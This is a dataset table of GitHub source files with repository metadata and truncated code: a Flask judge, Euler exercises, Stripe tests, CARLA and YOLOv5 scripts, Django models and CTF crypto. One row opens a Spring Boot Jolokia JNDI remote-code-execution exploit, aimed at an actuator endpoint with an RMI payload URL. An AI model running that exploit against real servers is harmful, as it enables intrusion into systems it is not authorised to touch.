hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e7a5b19efaed8d0261913c25357b701ba96f3c7a | 2,691 | py | Python | app/judgement/views.py | pushyzheng/docker-oj-web | 119abae3763cd2e53c686a320af7f4f5af1f16ca | [
"MIT"
] | 2 | 2019-06-24T08:34:39.000Z | 2019-06-27T12:23:47.000Z | app/judgement/views.py | pushyzheng/docker-oj-web | 119abae3763cd2e53c686a320af7f4f5af1f16ca | [
"MIT"
] | null | null | null | app/judgement/views.py | pushyzheng/docker-oj-web | 119abae3763cd2e53c686a320af7f4f5af1f16ca | [
"MIT"
] | null | null | null | # encoding:utf-8
from app import app, rabbitmq, db
from app.common.models import RoleName
from app.problem.models import Problem
from app.submission.models import Submission
from app.judgement.models import JudgementTask
from app.auth.main import auth
from utils import get_uuid, logger
import os
import re
from flask im... | 25.628571 | 94 | 0.625418 |
82172256f79551778bd0128f55c1b611129308ef | 400 | py | Python | euler-56.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | euler-56.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | euler-56.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | def vsota_stevk(n):
s = str(n)
vsota = 0
for x in s:
vsota += int(x)
return vsota
def euler56():
najvecja_vsota = 0
for a in range(1,100):
for b in range(1,100):
st = a ** b
s = vsota_stevk(st)
if s > najvecja_vsota:
... | 19.047619 | 35 | 0.4625 |
4189e25901e65fdfb202785ad80b92ca2da7e587 | 1,187 | py | Python | springboot-jolokia-realm/springboot-realm-jndi-rce.py | hex0wn/learn-java-bug | bf191905ba4c284d90e8eb51ec2806ce5b9139dd | [
"MIT"
] | 61 | 2020-07-02T04:30:23.000Z | 2022-03-23T10:11:17.000Z | springboot-jolokia-realm/springboot-realm-jndi-rce.py | hex0wn/learn-java-bug | bf191905ba4c284d90e8eb51ec2806ce5b9139dd | [
"MIT"
] | 18 | 2020-07-30T08:00:06.000Z | 2022-02-01T01:06:54.000Z | springboot-jolokia-realm/springboot-realm-jndi-rce.py | hex0wn/learn-java-bug | bf191905ba4c284d90e8eb51ec2806ce5b9139dd | [
"MIT"
] | 10 | 2020-07-03T09:12:55.000Z | 2022-03-09T11:13:56.000Z | #!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
import json
url = 'http://127.0.0.1:8080/actuator/jolokia'
#url = 'http://127.0.0.1:8080/jolokia'
jndi = 'rmi://localhost:1099/Exploit'
create_real... | 21.581818 | 111 | 0.641955 |
ec38d9d24cd534832a026c3239e7fd11542cf1da | 4,475 | py | Python | Tests/test_settings.py | dereklm12880/rssticker | d90e8c00811d67bd9fb8104bbb6ec98aae5221f4 | [
"MIT"
] | 2 | 2020-02-26T01:54:26.000Z | 2020-04-27T20:09:14.000Z | Tests/test_settings.py | dereklm12880/rssticker | d90e8c00811d67bd9fb8104bbb6ec98aae5221f4 | [
"MIT"
] | 17 | 2020-02-29T02:43:44.000Z | 2020-04-27T20:38:44.000Z | Tests/test_settings.py | dereklm12880/rssticker | d90e8c00811d67bd9fb8104bbb6ec98aae5221f4 | [
"MIT"
] | 8 | 2020-02-26T21:37:36.000Z | 2020-06-23T00:01:27.000Z | import os
import unittest
from unittest import mock
import yaml
from mock import patch
from RSS.model.settings import SettingsModel
import builtins
class TestRssSettings(unittest.TestCase):
"""Test class for RSS.model.settings.SettingsModel."""
_return_value = {"feeds": ["http://fakefeed.com", "http://anoth... | 37.605042 | 97 | 0.653184 |
ec563901f108bd7ef469d7f45cba82dd666cd850 | 37,134 | py | Python | PythonAPI/examples/rss/manual_control_rss.py | cpc/carla | 2b4af4c08c751461e23558809a1d8dcb5dc740dc | [
"MIT"
] | 7,883 | 2017-11-10T16:49:23.000Z | 2022-03-31T18:48:47.000Z | PythonAPI/examples/rss/manual_control_rss.py | cpc/carla | 2b4af4c08c751461e23558809a1d8dcb5dc740dc | [
"MIT"
] | 4,558 | 2017-11-10T17:45:30.000Z | 2022-03-31T23:30:02.000Z | PythonAPI/examples/rss/manual_control_rss.py | cpc/carla | 2b4af4c08c751461e23558809a1d8dcb5dc740dc | [
"MIT"
] | 2,547 | 2017-11-13T03:22:44.000Z | 2022-03-31T10:39:30.000Z | #!/usr/bin/env python
# Copyright (c) 2019 Computer Vision Center (CVC) at the Universitat Autonoma de
# Barcelona (UAB).
# Copyright (c) 2019-2020 Intel Corporation
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
# Allows controlling a vehicle wi... | 42.245734 | 166 | 0.544595 |
6b5102122690693b3c654ceed20af7dcc21c36eb | 2,603 | py | Python | yolov5-coreml-tflite-converter/coreml/convert.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/coreml/convert.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/coreml/convert.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | # Copyright (C) 2021 DB Systel GmbH.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | 51.039216 | 234 | 0.726469 |
6b56dbb74b79b7a2d6738dd0d5829d84d280de45 | 3,099 | py | Python | src/bar-charts/bars.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/bar-charts/bars.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/bar-charts/bars.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | # Bar chart
# a graph that represents the category of data with rectangular bars with lengths and heights that are proportional
# to the values which they represent.
# Can be vertical or horizontal. Can also be grouped.
# matplotlib
fig, ax = plt.subplots(1, figsize=(24,14))
plt.bar(wrestling_count.index, wrestling_... | 27.918919 | 123 | 0.709584 |
6b85f4abd3aced7b088690f1385a31fbba845a96 | 811 | py | Python | crypto/diffie_hellman/example.py | yujungcheng/algorithm_and_data_structure | 3742238227067217b82bf35ca3a968db4375f3c9 | [
"Apache-2.0"
] | null | null | null | crypto/diffie_hellman/example.py | yujungcheng/algorithm_and_data_structure | 3742238227067217b82bf35ca3a968db4375f3c9 | [
"Apache-2.0"
] | null | null | null | crypto/diffie_hellman/example.py | yujungcheng/algorithm_and_data_structure | 3742238227067217b82bf35ca3a968db4375f3c9 | [
"Apache-2.0"
] | 1 | 2020-04-16T01:17:04.000Z | 2020-04-16T01:17:04.000Z | #!/usr/bin/python3
# ref: https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Cryptographic_explanation
# ref: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
shared_modulus = 23
shared_base = 5
print("shared modulus: %s" % shared_modulus)
print("shared base: %s" % shared_base)
print("-"*40)
alice_sec... | 27.033333 | 98 | 0.711467 |
d4538d814fee30600bb7a5ca2ff2e9bd855cf0fc | 2,361 | py | Python | apps/profile/models.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 2 | 2017-12-17T21:28:22.000Z | 2018-02-02T14:44:58.000Z | apps/profile/models.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 118 | 2017-10-31T13:45:09.000Z | 2018-02-24T20:51:42.000Z | apps/profile/models.py | OpenAdaptronik/Rattler | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | null | null | null | import os
from django.db import models
from django.conf import settings
from django.utils.translation import gettext_lazy as _
from django.db.models.signals import post_save
from django.dispatch import receiver
from django.contrib.auth import get_user_model
# Create your models here.
class Profile(models.Model):
... | 42.927273 | 108 | 0.750953 |
d47bd2d6d94f921e95f859f1b197ebbf9fa00b80 | 744 | py | Python | my-cs/intern/java_details/java_sort_selection_details/partioners/__init__.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | my-cs/intern/java_details/java_sort_selection_details/partioners/__init__.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | my-cs/intern/java_details/java_sort_selection_details/partioners/__init__.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
class Partitioner(object):
@staticmethod
def partition(array):
"""
Берем певый в качастве Pivot
"""
IDX_PIVOT = 0 # Возможно лучше выбрать последний
# тогда будет проще работать с индексами
pivot_value = array[IDX_PIVOT]
i = 1
... | 24 | 59 | 0.517473 |
d85b7bdeee038a84450fe5c219c6e1818e24d8af | 1,444 | py | Python | rating/responsive_layout.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 19 | 2018-04-20T11:03:41.000Z | 2022-01-12T20:58:56.000Z | rating/responsive_layout.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 160 | 2018-04-05T16:12:59.000Z | 2022-03-01T13:01:27.000Z | rating/responsive_layout.py | thegreenwebfoundation/green-spider | 68f22886178bbe5b476a4591a6812ee25cb5651b | [
"Apache-2.0"
] | 8 | 2018-11-05T13:07:57.000Z | 2021-06-11T11:46:43.000Z | """
This gives a score if the site's minimal document width during checks
was smaller than or equal to the minimal viewport size tested.
"""
from rating.abstract_rater import AbstractRater
class Rater(AbstractRater):
rating_type = 'boolean'
default_value = False
depends_on_checks = ['load_in_browser']
... | 31.391304 | 90 | 0.587258 |
5ad862a436266f8215754ad931c6e1e64b1aef34 | 865 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v8_0/rename_items_in_status_field_of_material_request.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v8_0/rename_items_in_status_field_of_material_request.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v8_0/rename_items_in_status_field_of_material_request.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | from __future__ import unicode_literals
import frappe
def execute():
frappe.db.sql(
"""
UPDATE `tabMaterial Request`
SET status = CASE
WHEN docstatus = 2 THEN 'Cancelled'
WHEN docstatus = 0 THEN 'Draft'
ELSE CASE
WHEN status = 'Stopped' THEN 'Stopped'
WHEN status != 'Stoppe... | 34.6 | 78 | 0.643931 |
8505fd6ee76213eef44b6d8bb755c33c9a3f134e | 2,750 | py | Python | Implementierung/ResearchEnvironment/AuthorizationManagement/urls.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | Implementierung/ResearchEnvironment/AuthorizationManagement/urls.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | Implementierung/ResearchEnvironment/AuthorizationManagement/urls.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | from django.urls import path
from AuthorizationManagement import views
from django.urls.conf import re_path
from .admin import resource_manager
from .admin import user_manager
from .views import *
urlpatterns = [
path('', views.homeView, name='home'),
re_path(r'^resource-manager/', resource_manager.urls),
... | 48.245614 | 139 | 0.690909 |
850cc4679d74c30a88ccf7b06dc3bb692a8ec0f0 | 24,334 | py | Python | paddlenlp/metrics/glue.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | paddlenlp/metrics/glue.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | paddlenlp/metrics/glue.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 35.266667 | 128 | 0.557533 |
518acc85a3eafe90e437ee149571f3c558eaa570 | 640 | py | Python | jocker/create.py | omab/jocker | 44a79d4c12bb4df9c3333da75eb34964de64ad20 | [
"BSD-2-Clause"
] | 3 | 2017-10-18T08:11:58.000Z | 2019-07-31T23:53:37.000Z | jocker/create.py | omab/jocker | 44a79d4c12bb4df9c3333da75eb34964de64ad20 | [
"BSD-2-Clause"
] | null | null | null | jocker/create.py | omab/jocker | 44a79d4c12bb4df9c3333da75eb34964de64ad20 | [
"BSD-2-Clause"
] | null | null | null | """
Create a jail from the given base
"""
from .parser import parse, Jockerfile
from .backends.utils import get_backend
def create_from_base(base, name=None, network=None):
"""
Build a Jail from the given base.
"""
jail_backend = get_backend(jailname=name)
jockerfile = jail_backend.base_jockerfile... | 26.666667 | 64 | 0.726563 |
5c79d353daa1f8a4feb8ecfea670be116ee20ee4 | 1,666 | py | Python | src/onegov/fsi/models/course.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/fsi/models/course.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/fsi/models/course.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from arrow import utcnow
from onegov.core.html import html_to_text
from onegov.core.orm import Base
from onegov.core.orm.types import UUID
from onegov.search import ORMSearchable
from sqlalchemy import Column, Text, Boolean, Integer
from sqlalchemy.ext.hybrid import hybrid_property
from uuid import uuid4
class Course... | 27.311475 | 74 | 0.672869 |
56b4c87928c8ebc3b548ac95e2fa6293330a2830 | 245 | py | Python | server/api/__init__.py | gustavodsf/rdx_hack | 3b504bf8181495fdd1c3a06f963970469f6655f1 | [
"MIT"
] | null | null | null | server/api/__init__.py | gustavodsf/rdx_hack | 3b504bf8181495fdd1c3a06f963970469f6655f1 | [
"MIT"
] | null | null | null | server/api/__init__.py | gustavodsf/rdx_hack | 3b504bf8181495fdd1c3a06f963970469f6655f1 | [
"MIT"
] | 1 | 2017-12-02T15:27:53.000Z | 2017-12-02T15:27:53.000Z | """This py describe the class the could be accessed by other."""
__author__ = "Gustavo Figueiredo"
__copyright__ = "CASA"
__version__ = "1.0.1"
__maintainer__ = "Gustavo Figueiredo"
__email__ = "gustavodsf1@gmail.com"
__status__ = "Development"
| 30.625 | 64 | 0.755102 |
8531c3f882fd85200eb06cfa874e12b0eb85ad5e | 152 | py | Python | tintz/newsletter/urls.py | dcfranca/tintz-backend | 9f29e17cafc31ab7dc568d1e2c984e6f1b1fc3fc | [
"MIT"
] | null | null | null | tintz/newsletter/urls.py | dcfranca/tintz-backend | 9f29e17cafc31ab7dc568d1e2c984e6f1b1fc3fc | [
"MIT"
] | 2 | 2021-03-19T21:51:51.000Z | 2021-06-10T18:22:50.000Z | tintz/newsletter/urls.py | danielfranca/tintz-backend | 9f29e17cafc31ab7dc568d1e2c984e6f1b1fc3fc | [
"MIT"
] | null | null | null | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^subscribers/$', views.SubscriberApi.as_view(), name='subscribers'),
]
| 19 | 78 | 0.710526 |
a47bed0d65469e8cadf2cbd5286af7688bd5866a | 4,089 | py | Python | tests/onegov/pay/test_stripe.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/pay/test_stripe.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/pay/test_stripe.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import logging
import pytest
import requests_mock
import transaction
from onegov.pay.models.payment_providers.stripe import (
StripeConnect,
StripeFeePolicy,
StripeCaptureManager
)
from purl import URL
from unittest import mock
from urllib.parse import quote
def test_oauth_url():
provider = StripeCon... | 29.207143 | 76 | 0.651993 |
f1825865e92fdab20152b97a1e9e014916db2c8f | 2,354 | py | Python | CCR/run.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 3 | 2019-03-21T17:02:55.000Z | 2019-04-04T18:16:10.000Z | CCR/run.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 11 | 2019-10-30T12:05:39.000Z | 2022-03-11T23:43:54.000Z | CCR/run.py | MateRyze/InformatiCup-2019 | eeca3ff7f8a102f4093697c6badee21ce25e2e87 | [
"MIT"
] | 1 | 2019-10-30T12:04:00.000Z | 2019-10-30T12:04:00.000Z | import requests
import os
import skimage
import time
import csv
from PIL import Image
import pandas as pd
# dir with test images
rootdir = './Images'
# resize images to 64x64 and convert from PPM to PNG format
def convertImages():
for subdir, dirs, files in os.walk(rootdir):
for file in files:
path = os.path.j... | 26.155556 | 108 | 0.616822 |
7ac3ea0d02e770dd38e788a27e196357f2564a77 | 344 | py | Python | dcapy/dca/__init__.py | scuervo91/dcapy | 46c9277e607baff437e5707167476d5f7e2cf80c | [
"MIT"
] | 4 | 2021-05-21T13:26:10.000Z | 2021-11-15T17:17:01.000Z | dcapy/dca/__init__.py | scuervo91/dcapy | 46c9277e607baff437e5707167476d5f7e2cf80c | [
"MIT"
] | null | null | null | dcapy/dca/__init__.py | scuervo91/dcapy | 46c9277e607baff437e5707167476d5f7e2cf80c | [
"MIT"
] | null | null | null | from .arps import arps_exp_rate,arps_exp_cumulative,arps_arm_cumulative,arps_hyp_cumulative,arps_cumulative, arps_hyp_rate, arps_rate_time, arps_forecast,Arps
from .dca import DCA, Forecast, ProbVar
from .timeconverter import converter_factor, list_freq,time_converter_matrix, FreqEnum
from .wor import bsw_to_wor, wor_t... | 86 | 158 | 0.869186 |
7ad41c2d042dc89d23676dca3bc129fe7f96d538 | 2,203 | py | Python | src/processing/Output.py | Phrosten/CodeCompetition_07-2017_BigData | 3d9cb8da2164ea2687471375966d77ff7b129a93 | [
"Apache-2.0"
] | null | null | null | src/processing/Output.py | Phrosten/CodeCompetition_07-2017_BigData | 3d9cb8da2164ea2687471375966d77ff7b129a93 | [
"Apache-2.0"
] | null | null | null | src/processing/Output.py | Phrosten/CodeCompetition_07-2017_BigData | 3d9cb8da2164ea2687471375966d77ff7b129a93 | [
"Apache-2.0"
] | null | null | null | #
# JSON Output
#
def GenerateJSONArray(list, startIndex=0, endIndex=None, date=False): # Generate a json array string from a list
# ASSUMPTION: All items are of the same type / if one is list all are list
if(len(list) > 0 and type(list[0]) == type([])): # If the list has entries and... | 36.114754 | 130 | 0.532002 |
24c8d95c8cb878f0d1928158a43b83c03635fe7a | 13,485 | py | Python | python-bildungslogin/ucs-test/97_bildungslogin_python/10_test_search.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | python-bildungslogin/ucs-test/97_bildungslogin_python/10_test_search.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | python-bildungslogin/ucs-test/97_bildungslogin_python/10_test_search.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | #!/usr/share/ucs-test/runner /usr/bin/py.test -slvv --cov --cov-config=.coveragerc --cov-append --cov-report=
# -*- coding: utf-8 -*-
#
# Copyright 2021 Univention GmbH
#
# https://www.univention.de/
#
# All rights reserved.
#
# The source code of this program is made available
# under the terms of the GNU Affero Gener... | 29 | 109 | 0.644939 |
24ea8852e19ca1d487927323bff9fb53fa48733b | 510 | py | Python | pacman-termux/test/pacman/tests/fileconflict008.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/fileconflict008.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/fileconflict008.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Fileconflict file -> dir on package replacement (FS#24904)"
lp = pmpkg("dummy")
lp.files = ["dir/filepath",
"dir/file"]
self.addpkg2db("local", lp)
p1 = pmpkg("replace")
p1.provides = ["dummy"]
p1.replaces = ["dummy"]
p1.files = ["dir/filepath/",
"dir/filepath/file",
... | 23.181818 | 79 | 0.621569 |
707f36b82a8ad751fbd1ca9954370fc867514e75 | 22,873 | py | Python | users/dennytom/chording_engine/chord.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | 2 | 2021-04-16T23:29:01.000Z | 2021-04-17T02:26:22.000Z | users/dennytom/chording_engine/chord.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | null | null | null | users/dennytom/chording_engine/chord.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | null | null | null | from functools import reduce
import re
strings = []
number_of_strings = -1
def top_level_split(s):
"""
Split `s` by top-level commas only. Commas within parentheses are ignored.
"""
# Parse the string tracking whether the current character is within
# parentheses.
balance = 0
parts = ... | 49.083691 | 236 | 0.584707 |
3b96f39ea7dcb39fdda641725af35ecfec6ef0f3 | 5,724 | py | Python | src/util.py | corganhejijun/FaceFill | 6914f3ee680b41161817fe5eafc09b82e59d9113 | [
"MIT"
] | null | null | null | src/util.py | corganhejijun/FaceFill | 6914f3ee680b41161817fe5eafc09b82e59d9113 | [
"MIT"
] | null | null | null | src/util.py | corganhejijun/FaceFill | 6914f3ee680b41161817fe5eafc09b82e59d9113 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import cv2
import os
import dlib
from scipy import misc
import numpy as np
from PIL import Image
def getBound(img, shape):
xMin = len(img[0])
xMax = 0
yMin = len(img)
yMax = 0
for i in range(shape.num_parts):
if (shape.part(i).x < xMin):
x... | 40.309859 | 208 | 0.542453 |
8e9a420d670a164170f1b07674b8f564a6f898ca | 755 | py | Python | grading.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | grading.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | grading.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
# https://www.hackerrank.com/challenges/grading/problem
def gradingStudents(grades):
rounded_grades = []
for grade in grades:
if grade >= 38:
diff = 5 - grade % 5
if diff < 3:
grade += dif... | 18.875 | 55 | 0.605298 |
796222768d619d9a12daf5d29c23805e7bb34365 | 965 | py | Python | sches.py | dongdawang/ssrmgr | a9abedf8dc012bf6f421f95a1c215b5788f34322 | [
"MIT"
] | null | null | null | sches.py | dongdawang/ssrmgr | a9abedf8dc012bf6f421f95a1c215b5788f34322 | [
"MIT"
] | 1 | 2021-06-01T22:59:31.000Z | 2021-06-01T22:59:31.000Z | sches.py | dongjinhai/ssrmgr | a9abedf8dc012bf6f421f95a1c215b5788f34322 | [
"MIT"
] | 1 | 2019-09-24T09:37:52.000Z | 2019-09-24T09:37:52.000Z | import logging.handlers
from apscheduler.schedulers.blocking import BlockingScheduler
from mgr import UserMgr, HostMgr
handler = logging.handlers.RotatingFileHandler('log/ssrmgr.log', maxBytes=5*1024*1024, backupCount=5)
logging.basicConfig(
format='[%(asctime)s-%(filename)s-%(levelname)s:%(message)s]',
leve... | 20.104167 | 101 | 0.658031 |
5c27a5443fb18fb0190c979677d2b76b49817ec3 | 519 | py | Python | 7-assets/past-student-repos/LambdaSchool-master/m6/61b1/examples/guessing_game.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | 71 | 2019-03-05T04:44:48.000Z | 2022-03-24T09:47:48.000Z | 7-assets/past-student-repos/LambdaSchool-master/m6/61b1/examples/guessing_game.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | 8 | 2020-03-24T17:47:23.000Z | 2022-03-12T00:33:21.000Z | cs/lambda_cs/01_intro_python/Intro-Python-II/examples/guessing_game.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | 37 | 2019-03-07T05:08:03.000Z | 2022-01-05T11:32:51.000Z | import random
def guessing_game():
print("Guess the number!")
secret_number = random.randrange(101)
while True:
guess = input("Input your guess: ")
try:
guess = int(guess)
except ValueError:
print("Please enter an integer.")
continue
print(f"You guessed: {guess}")
i... | 18.535714 | 39 | 0.60501 |
ebdb6d9e556cf90c72517ab9147b505e69274827 | 11,322 | py | Python | workspace/cogrob/service_manager/model/base_service.py | CogRob/Rorg | dbf9d849e150404c117f6f0062476d995cec7316 | [
"BSD-3-Clause"
] | 8 | 2019-05-07T02:30:58.000Z | 2021-12-10T18:44:45.000Z | workspace/cogrob/service_manager/model/base_service.py | CogRob/Rorg | dbf9d849e150404c117f6f0062476d995cec7316 | [
"BSD-3-Clause"
] | 1 | 2021-03-17T07:18:23.000Z | 2021-03-17T07:18:23.000Z | workspace/cogrob/service_manager/model/base_service.py | CogRob/Rorg | dbf9d849e150404c117f6f0062476d995cec7316 | [
"BSD-3-Clause"
] | 2 | 2019-05-21T14:15:24.000Z | 2022-02-09T12:50:24.000Z | # Copyright (c) 2019, The Regents of the University of California
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, thi... | 38.773973 | 80 | 0.736442 |
24216d136f442be9f8d43a741c01baea46c04b03 | 1,135 | py | Python | VolgaCTF/2021/Quals/crypto/Carry/fcsr.py | mystickev/ctf-archives | 89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | VolgaCTF/2021/Quals/crypto/Carry/fcsr.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | VolgaCTF/2021/Quals/crypto/Carry/fcsr.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-12-19T11:06:24.000Z | 2021-12-19T11:06:24.000Z | import random
import math
class FCSR():
def __init__(self, q: int, m: int, a: int):
self.m = m
self.q = q + 1
self.k = int(math.log(q, 2))
self.a = a
@staticmethod
def get_i(n: int, i: int) -> int:
# right to left
return (n & (0b1 << i)) >> i
... | 25.222222 | 72 | 0.444934 |
